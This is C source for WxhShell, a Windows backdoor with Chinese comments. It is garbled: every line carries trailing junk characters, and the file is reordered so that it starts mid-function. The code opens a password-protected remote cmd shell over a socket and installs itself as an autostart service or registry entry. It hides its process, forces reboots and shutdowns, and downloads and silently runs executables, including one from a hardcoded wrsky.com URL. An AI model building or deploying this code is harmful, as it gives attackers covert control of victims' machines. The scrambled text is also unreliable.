    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4CtSGG85f  
    else { BA~a?"HS  
    closesocket(wsh); T"L0Iy!k;  
    ExitThread(0); zW*}`S "  
    } +V)qep"  
    break; ^=eq .(>  
    } qn2o[x  
  // 获取shell ]]el|  
  case 's': { pwJ'3NbS  
    CmdShell(wsh); i0k+l  
    closesocket(wsh); GY oZ$p"C  
    ExitThread(0); A)\>#Dv  
    break; cvZni#o2)  
  } jrIA]K6  
  // 退出 VK@$JwdL  
  case 'x': { Hze-Ob8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |BwRlE2CFO  
    CloseIt(wsh); W3^zIj  
    break; W[@i;f^g  
    } m!rwG(  
  // 离开 @O@fyAz  
  case 'q': { uWUR3n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;*y|8od B  
    closesocket(wsh); ao)Ck3]  
    WSACleanup(); jr9&.8%W:v  
    exit(1); Wm<z?.lS  
    break; =kd YN 5R  
        } Q m $(  
  } -@rxiC:Q  
  } }0$mn)*k  
D,MyI#  
  // 提示信息 }c} ( 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UQ5BH%EPb  
} >Z *iE"9"  
  } b& V`<'{  
yc*<:(p  
  return; >B0D/:R9  
} |Dg;(i?  
CE{z-_{ ^  
// shell模块句柄 D,k(~  
int CmdShell(SOCKET sock) WElrk:b  
{ jRofG'  
STARTUPINFO si; R 4V \B  
ZeroMemory(&si,sizeof(si)); Hz E1r+3Q@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WNhbXyp_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H6_xwuw:  
PROCESS_INFORMATION ProcessInfo; [!G)$<  
char cmdline[]="cmd"; 4RhR[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +)gGs# 2X  
  return 0; Wdo#?@m  
} ,E&Bn8L~O  
u,f A!  
// 自身启动模式 prZ55MS.  
int StartFromService(void) #Rc5c+/(  
{ +O'vj  
typedef struct -n$ewV  
{ 9SY(EL  
  DWORD ExitStatus;  JX{KYU  
  DWORD PebBaseAddress; .8]Y-  
  DWORD AffinityMask; 6_*!|g  
  DWORD BasePriority; Sr&T[ex,.  
  ULONG UniqueProcessId; N=#4L$@-  
  ULONG InheritedFromUniqueProcessId; Id %_{),HX  
}   PROCESS_BASIC_INFORMATION; }&1Iyb  
*wwhZe4V  
PROCNTQSIP NtQueryInformationProcess; yLW/ -%I#u  
$&IpX M]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z5 Bi=~=#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @F?=a*s"!  
gv9=quG  
  HANDLE             hProcess; PRD_!VOW  
  PROCESS_BASIC_INFORMATION pbi; |1"!k A  
 Vu [:A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hY+R'9  
  if(NULL == hInst ) return 0; FSU<Y1|XM  
H>.B99vp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >dk 9f}7-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ('t kZt%8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >!}`%pk(  
,d|vP)SS  
  if (!NtQueryInformationProcess) return 0; . |uLt J  
M/{g(|{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IZ8y}2  
  if(!hProcess) return 0; OC_M4{9/  
J3G7zu8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _UkmYZ/  
) r9b:c\  
  CloseHandle(hProcess); o 7G> y#Y  
f jI#-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !9r:&n.\  
if(hProcess==NULL) return 0; oEu>}JD  
h>wcT VF  
HMODULE hMod; m"Qq{p|'  
char procName[255]; m"4B!S&Fc(  
unsigned long cbNeeded; [T`}yb@  
3sFeP &  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Mu;U3cIW  
U<47WfcW  
  CloseHandle(hProcess); Pr+~Kif  
C c*( {  
if(strstr(procName,"services")) return 1; // 以服务启动 HR60   
`5'2Hg+  
  return 0; // 注册表启动 t\r:E2 O  
}   \&a.}t  
. uR M{Bs  
// 主模块 m=TJDr-  
int StartWxhshell(LPSTR lpCmdLine) g_w&"=.jBq  
{ aI(>]sWJ  
  SOCKET wsl; ,+._;[k  
BOOL val=TRUE; 5j eO"jB  
  int port=0; ]` ]g@v  
  struct sockaddr_in door; =Ikg.jYq&F  
kq-6HDR  
  if(wscfg.ws_autoins) Install(); e"Rm_t  
5)'P'kVi7.  
port=atoi(lpCmdLine); o2=A0ogz?  
K=6UK%y A  
if(port<=0) port=wscfg.ws_port; \DA$6w\\  
\Hwg) Uc{  
  WSADATA data; F98i*K`"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y)XvlfJ,h?  
>t3'_cBC!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g:<?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M=y0PCD  
  door.sin_family = AF_INET; 8$vK5Dnn8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `qiQ$kz  
  door.sin_port = htons(port); gUVn;_  
+l?; )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9`"DFFSMS  
closesocket(wsl); f: xWu-  
return 1; dvjTyX  
} *8)2iv4[  
W f@t4(i  
  if(listen(wsl,2) == INVALID_SOCKET) { ALGg AX3t  
closesocket(wsl); <L2emL_'  
return 1; -2i\G.,J  
} V5"HwN+`  
  Wxhshell(wsl); dqe7sZl!  
  WSACleanup(); X=~V6m  
Ct]A%=cZW  
return 0; ?a.+j8pbGg  
ZPO|<uR  
} 7*s8 ttX  
RFko>d  
// 以NT服务方式启动 "Xn%at4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9"sDm}5%  
{ t`|,6qEG  
DWORD   status = 0; V U~Dk);Bv  
  DWORD   specificError = 0xfffffff; /#S>sOg2xq  
Vq ^]s $'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !gP0ndRJ=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yck~xt&]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q\$6F)ha3  
  serviceStatus.dwWin32ExitCode     = 0; cxP6-tV%  
  serviceStatus.dwServiceSpecificExitCode = 0; c ~F dx  
  serviceStatus.dwCheckPoint       = 0; naNyGE7)  
  serviceStatus.dwWaitHint       = 0; TJy4<rb  
}$g mK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M>l^%`  
  if (hServiceStatusHandle==0) return; R,Oe$J<  
fgF;&(b  
status = GetLastError(); Ec]|p6a3  
  if (status!=NO_ERROR) o6}n8U}bk  
{ ~}%~oT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x5Zrz<Y$w  
    serviceStatus.dwCheckPoint       = 0; RuAlB*  
    serviceStatus.dwWaitHint       = 0; Kt/)pc  
    serviceStatus.dwWin32ExitCode     = status; AQ{zx1^2>K  
    serviceStatus.dwServiceSpecificExitCode = specificError; V#83!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qv+R:YYOq  
    return; HDIk9WC^  
  } Z=+03  
NZXjE$<Vr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Lz4eh WntO  
  serviceStatus.dwCheckPoint       = 0; Bw< rp-  
  serviceStatus.dwWaitHint       = 0; Z1,gtl ?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hs0pW5oZ  
} >q7 %UK]&  
68t}w^=  
// 处理NT服务事件,比如:启动、停止 j+^L~, S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )\ 0F7Z  
{ c[cAUsk i  
switch(fdwControl) :q+N&j'3  
{ uS5o?fg\e  
case SERVICE_CONTROL_STOP: j9y3hQ+q  
  serviceStatus.dwWin32ExitCode = 0; ?IYY'fS"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $L}aQlA1JM  
  serviceStatus.dwCheckPoint   = 0; &ITuyGmF  
  serviceStatus.dwWaitHint     = 0; vRhnX  
  { Hs?zq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^kwdS  
  } &%F@O<:  
  return; 30F!kP*E  
case SERVICE_CONTROL_PAUSE: Y=B3q8l5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fA^Em)cs2  
  break; "="O >  
case SERVICE_CONTROL_CONTINUE: n:#TOU1ix<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F0dI/+  
  break; 3$p#;a:=n  
case SERVICE_CONTROL_INTERROGATE: Utt>H@t[  
  break; E{Vo'!LY  
}; n9hm790x-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KCR N}`^  
} <$E6oZ  
faJM^u  
// 标准应用程序主函数 kE)!<1yy2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8{I"q[GZ  
{ rT7^-B*  
Un@\kAY  
// 获取操作系统版本 "{BqtU*.  
OsIsNt=GetOsVer(); xJ(:m<z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aXR%;]<Dw  
t[C1z  
  // 从命令行安装 d'HOpJE  
  if(strpbrk(lpCmdLine,"iI")) Install(); |. C1|J'Z  
%|"Qi]c d  
  // 下载执行文件 "Pc$\zJm;  
if(wscfg.ws_downexe) { [ygF0-3ND  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +m$5a YX  
  WinExec(wscfg.ws_filenam,SW_HIDE); #V_GOy1-  
} VWf %v  
/iM$Tb5  
if(!OsIsNt) { 79 Bg]~}Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?y7w}W  
HideProc(); 3<(q }  
StartWxhshell(lpCmdLine); >Hwc,j q  
} LtKB v 4  
else 6m`{Z`c$  
  if(StartFromService()) zCe/Kukvy  
  // 以服务方式启动 Ok H\^  
  StartServiceCtrlDispatcher(DispatchTable); grcbH  
else >SI<rR[~%  
  // 普通方式启动 e>H:/24  
  StartWxhshell(lpCmdLine); Q GPw2Q  
;4~U,+Av  
return 0; |:q/Dt@  
} r6.N4eW.L  
4\2V9F{s  
|!*Xl) ]  
~!:0iFE&H  
=========================================== \ L]|-f(4  
<$Yi]ty  
f} K`Jm_}?  
l I-p_K  
=xl~][  
zICI_*~  
" 8k!6b\Imz  
6`e@$(dfA  
#include <stdio.h> }vh Za p^  
#include <string.h> k3hkk:W  
#include <windows.h> 9K"JYJ q2  
#include <winsock2.h> > J>V% 7  
#include <winsvc.h> }KB[B  
#include <urlmon.h> .b>TK  
 v[,Src  
#pragma comment (lib, "Ws2_32.lib") X[hM8G  
#pragma comment (lib, "urlmon.lib") w G!u+  
b-<HXn_Fd  
#define MAX_USER   100 // 最大客户端连接数 W{Q)-y  
#define BUF_SOCK   200 // sock buffer pj{\T?(  
#define KEY_BUFF   255 // 输入 buffer t&RruwN_;  
O!F]^'!  
#define REBOOT     0   // 重启 *"9<TSU%m  
#define SHUTDOWN   1   // 关机 E`D%PEps+  
b`~wG e  
#define DEF_PORT   5000 // 监听端口 +!O- kd  
p^QZq>v  
#define REG_LEN     16   // 注册表键长度 W |UtY`1  
#define SVC_LEN     80   // NT服务名长度 D<):ZfUbI  
shFc[A,r}  
// 从dll定义API <d7xt* 4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =!0I_L/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1/iE`Si  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cf;Ht^M\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AtHS@p  
wGLF%;rRe4  
// wxhshell配置信息 f(Hu {c5yV  
struct WSCFG { +=fKT,-*G!  
  int ws_port;         // 监听端口 i/qTFQst _  
  char ws_passstr[REG_LEN]; // 口令 JOfV]eCL  
  int ws_autoins;       // 安装标记, 1=yes 0=no o /p-!  
  char ws_regname[REG_LEN]; // 注册表键名 F[E? A95W  
  char ws_svcname[REG_LEN]; // 服务名 %$mjJw<|&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kBsXfVs9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nX5C< Ky  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v5$s#f<   
int ws_downexe;       // 下载执行标记, 1=yes 0=no x>3@R0A 1:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ")`S0n5e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q-&P=Yk  
6?gi_3g  
}; uP|FJLY  
SkP[|g'56  
// default Wxhshell configuration j%tEZ"H  
struct WSCFG wscfg={DEF_PORT, JF9Hfs/jS  
    "xuhuanlingzhe", e!0OW7 kV  
    1, r6Nm!Bq7  
    "Wxhshell", r"_Y3SxxL  
    "Wxhshell", l5 J.A@0  
            "WxhShell Service", 8LrK94  
    "Wrsky Windows CmdShell Service", i0Pn Z J  
    "Please Input Your Password: ", |B[eJq  
  1, ( $d4:Ww  
  "http://www.wrsky.com/wxhshell.exe", Ps>&"k$T  
  "Wxhshell.exe" kC$I2[t!  
    }; O|z%DkH[  
|C-y}iQ:6~  
// 消息定义模块 :5# V^\3*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >BoSw&T$Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ecFi (eMD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~@9zil41  
char *msg_ws_ext="\n\rExit."; >FFVY{F  
char *msg_ws_end="\n\rQuit."; %$9bce-fcG  
char *msg_ws_boot="\n\rReboot..."; <Dm Tj$  
char *msg_ws_poff="\n\rShutdown..."; ^.HWkS`e  
char *msg_ws_down="\n\rSave to "; c> ~:dcy  
P. V\ov7m2  
char *msg_ws_err="\n\rErr!"; .6T4z7I  
char *msg_ws_ok="\n\rOK!"; 8pe0$r`b  
!Q)3-u  
char ExeFile[MAX_PATH]; BKb<2  
int nUser = 0; #PAU'u 3{/  
HANDLE handles[MAX_USER]; (!</%^ZI  
int OsIsNt; -Ktwo_ V*  
0m=(W^c  
SERVICE_STATUS       serviceStatus; uiMIz?+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =5s$qb?#  
0dt"ZSm  
// 函数声明 >oY^Gx  
int Install(void); -c={+z "  
int Uninstall(void); pVG>A&4  
int DownloadFile(char *sURL, SOCKET wsh); W~dE  
int Boot(int flag); T$c+m\j6  
void HideProc(void); 8 /m3+5  
int GetOsVer(void); ^H=o3#P~L  
int Wxhshell(SOCKET wsl); hyu}}0:  
void TalkWithClient(void *cs); _*`q(dYcf  
int CmdShell(SOCKET sock); >q9{  
int StartFromService(void); 0k1MKzi Q  
int StartWxhshell(LPSTR lpCmdLine); MSYN1  
$u5.!{Wq?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,nYZxYLf+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cU | _  
!5.v'K'  
// 数据结构和表定义 ;=p;v .l  
SERVICE_TABLE_ENTRY DispatchTable[] = WZ* &@|w  
{ Sx&mv.?X  
{wscfg.ws_svcname, NTServiceMain}, :ICr\FY$  
{NULL, NULL} }x0Z( `  
}; sU%" azc  
eH[y[~r  
// 自我安装 X_?%A54z?  
int Install(void) az bUc4M  
{ Z;J`5=TS  
  char svExeFile[MAX_PATH]; /v$]X4 S`  
  HKEY key; vKkf2 7  
  strcpy(svExeFile,ExeFile); :?#cDyW)  
0O; Z  
// 如果是win9x系统,修改注册表设为自启动  N|N/)  
if(!OsIsNt) { .v l="<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p JX, n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v=MzI#0L  
  RegCloseKey(key); i tW~d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %zQ2:iT5@=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }AAbhr9d}  
  RegCloseKey(key); Y3M','H([  
  return 0; K~JC\a\0  
    } OR~GOv|  
  } (WMLNv  
} G5+]DogS  
else { 7b,AQ9  
in?T]}  
// 如果是NT以上系统,安装为系统服务 y`+<X{V5L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n|Ma&qs  
if (schSCManager!=0) g TD%4V  
{ STRyW Ml  
  SC_HANDLE schService = CreateService ZjavD^ky  
  ( HnK/A0jM  
  schSCManager, dw99FA6  
  wscfg.ws_svcname, !Iko0#4i  
  wscfg.ws_svcdisp, v1K4$&{F  
  SERVICE_ALL_ACCESS, .m'N7`VB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c8\g"T  
  SERVICE_AUTO_START, skSNzF7'  
  SERVICE_ERROR_NORMAL, `#<eA*^g5  
  svExeFile, 0k7"H]J  
  NULL, J\GKqt;5@  
  NULL, U%Ol^xl  
  NULL, jL2MW(d^Q  
  NULL, T-!|l7V~f  
  NULL pfNThMf  
  ); 1W7 iip,  
  if (schService!=0) Qv=Bq{N  
  { ?e2Y`0  
  CloseServiceHandle(schService); 7t+]z)  
  CloseServiceHandle(schSCManager); lDH_ Y]bM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E =  ^-Z  
  strcat(svExeFile,wscfg.ws_svcname); n('VQ0b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;<~j)8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m9cj7  
  RegCloseKey(key); ;pCG9  
  return 0; fl!1AKSn@N  
    } :.C)7( 8S  
  } YFAnlqC  
  CloseServiceHandle(schSCManager); 0= gF6U  
} ua!D-0  
} Q.uR<C6)v  
B=^2g}mgK  
return 1; Z#[>N,P  
} B1HQz@^  
),)Q{~&`  
// 自我卸载 { <~s&EPd  
int Uninstall(void) W *|OOa'  
{ Je@p5(f  
  HKEY key; s}<)B RZi  
B##C{^5A`  
if(!OsIsNt) { P'gT6*an,"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v3 !byN^  
  RegDeleteValue(key,wscfg.ws_regname); = c/3^e  
  RegCloseKey(key); O]4W|WI3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #SK#k<&P  
  RegDeleteValue(key,wscfg.ws_regname); U8U/?zW/&  
  RegCloseKey(key); E^'C "6  
  return 0; ^JiaR)#r  
  } ByC1I.B`  
} WJBW:2=;  
} (#CB q  
else { EPR(i#xU  
Qdh"X^^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +q 4W0  
if (schSCManager!=0) U_.n=d~B  
{ k_-vT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 56VE[G  
  if (schService!=0) lu<Np9/5<  
  { {8ld:ZP  
  if(DeleteService(schService)!=0) { 1Qrm"TFo  
  CloseServiceHandle(schService); H@Kl  
  CloseServiceHandle(schSCManager); zvWO4\  
  return 0; zS,%msT^A  
  } 44g`=o@  
  CloseServiceHandle(schService); K7n;Zb:BR  
  } bEEJVF0  
  CloseServiceHandle(schSCManager); LS*{]@8q  
} Cj`pw2.  
} 1nw$B[  
}:K\)Pd  
return 1; VGkW3Nt0  
} 5EVB27k  
:qt82tbn  
// 从指定url下载文件 2{ jtQlc  
int DownloadFile(char *sURL, SOCKET wsh) 6kgCS{MZ  
{ v3iDh8.__  
  HRESULT hr; rjhs ?  
char seps[]= "/"; "E4i >g  
char *token; hqwz~Ky}  
char *file; oxxE'cx{g  
char myURL[MAX_PATH]; dn:|m^<)  
char myFILE[MAX_PATH]; 'd~, o[x  
ZlwcwoPib  
strcpy(myURL,sURL); ROlzs}  
  token=strtok(myURL,seps); q(w1VcLZ  
  while(token!=NULL) <S:,`v&Z  
  { Ae,2Xi  
    file=token; ^D>/wX\u  
  token=strtok(NULL,seps); i2\\!s  
  } o3(|FN  
2- |j  
GetCurrentDirectory(MAX_PATH,myFILE); u0(hVK`":  
strcat(myFILE, "\\"); {HE.mHy  
strcat(myFILE, file); )dzjz%B)  
  send(wsh,myFILE,strlen(myFILE),0);  A[wxa  
send(wsh,"...",3,0); *$*nY [/5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;dpS@;v  
  if(hr==S_OK) #I*ht0++  
return 0; kW7&~tX  
else 7,&3=R <  
return 1; uBd =x<c\  
$bM#\2'  
} ta+"lM7A}$  
L?/M2zc9Y  
// 系统电源模块 &Pn%zfmMN  
int Boot(int flag) Bm2}\KOI  
{ xu\/]f)  
  HANDLE hToken; ivDG3>"JG  
  TOKEN_PRIVILEGES tkp; 4 G68WBT  
&].1[&M]  
  if(OsIsNt) { =Un6|]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NjCLL`?f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FSXKH{Z  
    tkp.PrivilegeCount = 1; &p(*i@Ms  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qH}62DP3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? ><   
if(flag==REBOOT) { lD+y, ";  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BGk<NEzH  
  return 0; 2EI m  
} 7\|NYT4  
else { ^LQ lfd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gIf+.^/m1  
  return 0; IhFw{=2*  
} NnSI)*%'  
  } h<z/LL8|  
  else { *+1"S ]YF  
if(flag==REBOOT) { u9y-zhj_$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SE7 (+r  
  return 0; t]YLt ,  
} Ltq*Vcl\  
else { |Jx2"0:M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ybuSqFy`$  
  return 0; / F  
} |M{,}.*CU  
} E]e[Ty1  
'yAoZ P\|  
return 1; $SD@D6`lL  
} bI6V &Dd  
C#u)$Ds  
// win9x进程隐藏模块 p Z|nn  
void HideProc(void) ,"lBS?  
{ B?zS_Ue  
kgI.kT(=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1(\I9L&J   
  if ( hKernel != NULL ) MCO$>QL  
  { ]nr BmKB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t$kf'An}/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xhoLQD  
    FreeLibrary(hKernel); H2t pP~!G  
  } c Dh4@V  
5)zj){wL  
return; H1c|b !C  
} aDJjVD  
WFc[F`b  
// 获取操作系统版本 '\vmfp =  
int GetOsVer(void) eVNBhR}HS  
{ t1_y1!u Q  
  OSVERSIONINFO winfo; 7^ Q$pT>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;@;ie8H  
  GetVersionEx(&winfo); W0,"V'C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (H|d3  
  return 1; Ia>th\_&  
  else jwE(]u  
  return 0; eNk!pI7g  
} `[HoxCV3o  
]NhWhJ:  
// 客户端句柄模块 n;T  
int Wxhshell(SOCKET wsl) V%KW[v<G<  
{ Kd|l\k!  
  SOCKET wsh; ;>x1)|n5  
  struct sockaddr_in client; J hq5G"  
  DWORD myID; 1:l&&/Wy  
mDt",#g  
  while(nUser<MAX_USER) QBT-J`Pz  
{ . R8W<  
  int nSize=sizeof(client); $S-;M0G x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7-0twq   
  if(wsh==INVALID_SOCKET) return 1; o9SfWErZ  
b}{9 :n/SC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l\l]9Z6%  
if(handles[nUser]==0) L08;z  
  closesocket(wsh); 5~rY=0t  
else d4=u`2w  
  nUser++; .Y Frb+6  
  } ofhZ@3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `uJ l<kHI  
WOTu" Yj  
  return 0; `  vmk  
} O%h 97^%k  
 C(Gb  
// 关闭 socket T/.y(8!0I8  
void CloseIt(SOCKET wsh) ra#)*fG,~  
{ RBojT   
closesocket(wsh); vBQ?S2f  
nUser--; yDBgSO{d  
ExitThread(0); u2Z^iY  
} G5@fqh6ws  
T%vbD*nt.  
// 客户端请求句柄 Ku,A}5-6  
void TalkWithClient(void *cs) 'C4Ll2  
{ N`GwL aF  
$">NW& i(  
  SOCKET wsh=(SOCKET)cs; {qdhp_~^l  
  char pwd[SVC_LEN]; ?fX8WRdh  
  char cmd[KEY_BUFF]; zpQ/E  
char chr[1]; fi@+swfc  
int i,j; kFs kn55  
`pS)q x.a  
  while (nUser < MAX_USER) { H {Wpf9_ K  
)x O_  
if(wscfg.ws_passstr) {  G6ES]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p:n^c5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RloPP  
  //ZeroMemory(pwd,KEY_BUFF); [ :(M<u`y>  
      i=0; F[giq 1#  
  while(i<SVC_LEN) { D`@U[`Sw  
g<5Pc,  
  // 设置超时 [ESs?v$  
  fd_set FdRead; e<wj5:M|  
  struct timeval TimeOut; +s 0Bt '  
  FD_ZERO(&FdRead); u5|e9(J  
  FD_SET(wsh,&FdRead); ^i k|l=  
  TimeOut.tv_sec=8; 4sgwQ$m)  
  TimeOut.tv_usec=0; u:kY4T+Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6_ 0w>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v-aq".XQ  
2Ab#uPBn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :iC\#i]6  
  pwd=chr[0]; Kt7x'5  
  if(chr[0]==0xd || chr[0]==0xa) { %*; 8m'  
  pwd=0; c|a|z}(/J  
  break; `lOoT  
  } L#N.pd  
  i++; KPcuGJ  
    } r6_a%A*  
cf3c+.o  
  // 如果是非法用户,关闭 socket ;|%JvptwW%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (:muxby%  
} tB?S0;yXjd  
FDC{8e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0'oT {iN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K:Go%3~,  
*F&&rsb  
while(1) { 2^lT!X@  
?pY!sG  
  ZeroMemory(cmd,KEY_BUFF); ==r|]~x  
NX",e=  
      // 自动支持客户端 telnet标准   VO6y9X"  
  j=0; /pN2Jst  
  while(j<KEY_BUFF) { Wm&f+{LO+K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +# >%bq x  
  cmd[j]=chr[0]; P!ICno6[e  
  if(chr[0]==0xa || chr[0]==0xd) { . +?lID  
  cmd[j]=0; ;MI<J>s  
  break; PTZ1 oD  
  } X'4 Yofs  
  j++; ]V("^.~$+C  
    } RN| ..zml  
VMXXBa&  
  // 下载文件 8{<cqYCR  
  if(strstr(cmd,"http://")) { 1uQf}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H)+kN'J  
  if(DownloadFile(cmd,wsh)) Br!&Y9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JOq<lb=  
  else Q^Z}Y~.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8PS:yBkA|  
  } PyF4uCn"H  
  else { }O{"qs#)  
PSE| 4{'  
    switch(cmd[0]) { t"Hrn3w  
  rT)R*3  
  // 帮助 'E,Yht=/}  
  case '?': { hj1 jY  
